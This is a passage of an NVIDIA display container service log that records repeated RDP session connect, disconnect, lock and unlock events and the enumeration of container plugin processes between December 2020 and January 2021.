#8(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2020-12-12 19:01:59,708]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2020-12-12 19:01:59,708]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2020-12-12 19:01:59,817]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2020-12-12 19:01:59,817]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2020-12-13 06:59:32,033]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2020-12-13 06:59:32,033]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2020-12-13 06:59:32,111]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2020-12-13 06:59:32,111]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2020-12-16 22:40:40,414]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2020-12-16 22:40:40,414]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2020-12-16 22:40:40,414]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2020-12-16 22:40:40,414]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2020-12-16 22:40:40,414]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2020-12-16 22:40:40,429]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-16 22:40:40,523]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#7'
#6(I)[2020-12-16 22:40:40,523]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#7'
#7(D)[2020-12-16 22:40:40,523]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2020-12-16 22:40:40,523]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2020-12-16 22:40:40,523]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-16 22:40:40,523]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2020-12-16 22:40:40,523]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-16 22:40:40,523]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2020-12-16 22:40:40,523]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-16 22:40:40,523]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2020-12-16 22:40:40,523]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2020-12-16 22:40:40,523]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2020-12-16 22:40:40,523]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2020-12-16 22:40:40,554]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2020-12-16 22:40:40,570]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#7'
#6(I)[2020-12-16 22:40:40,570]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#7'
#7(D)[2020-12-16 22:40:40,570]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2020-12-16 22:40:40,570]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2020-12-16 22:40:40,570]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2020-12-16 22:40:40,570]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2020-12-16 22:40:40,570]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2020-12-16 22:40:40,570]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2020-12-16 22:40:40,570]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2020-12-16 22:40:40,570]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2020-12-16 22:40:40,570]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2020-12-16 22:40:40,570]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2020-12-16 22:40:40,773]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2020-12-16 22:40:40,773]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2020-12-17 05:48:43,974]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2020-12-17 05:48:43,974]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2020-12-17 05:48:44,067]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2020-12-17 05:48:44,067]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-02 02:57:14,732]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-02 02:57:14,732]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-02 02:57:14,732]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-02 02:57:14,732]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-02 02:57:14,732]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-02 02:57:14,763]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-02 02:57:14,873]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#9'
#6(I)[2021-01-02 02:57:14,873]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#9'
#7(D)[2021-01-02 02:57:14,873]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-02 02:57:14,873]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-02 02:57:14,873]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-02 02:57:14,873]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-02 02:57:14,873]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-02 02:57:14,873]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-02 02:57:14,873]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-02 02:57:14,873]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-02 02:57:14,873]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-02 02:57:14,873]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-02 02:57:14,873]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-02 02:57:14,888]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-02 02:57:14,951]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#9'
#6(I)[2021-01-02 02:57:14,951]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#9'
#7(D)[2021-01-02 02:57:14,951]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-02 02:57:14,951]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-02 02:57:14,951]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-02 02:57:14,951]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-02 02:57:14,951]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-02 02:57:14,951]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-02 02:57:14,951]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-02 02:57:14,951]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-02 02:57:14,951]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-02 02:57:14,951]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-02 02:57:15,091]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-02 02:57:15,091]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-02 03:16:21,522]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-02 03:16:21,522]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-02 03:16:21,631]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-02 03:16:21,631]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-04 20:45:08,306]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-04 20:45:08,306]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-04 20:45:08,306]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-04 20:45:08,306]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-04 20:45:08,306]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-04 20:45:08,337]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-04 20:45:08,462]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#11'
#6(I)[2021-01-04 20:45:08,462]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#11'
#7(D)[2021-01-04 20:45:08,462]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-04 20:45:08,462]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-04 20:45:08,462]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-04 20:45:08,462]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-04 20:45:08,462]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-04 20:45:08,462]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-04 20:45:08,462]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-04 20:45:08,462]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-04 20:45:08,462]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
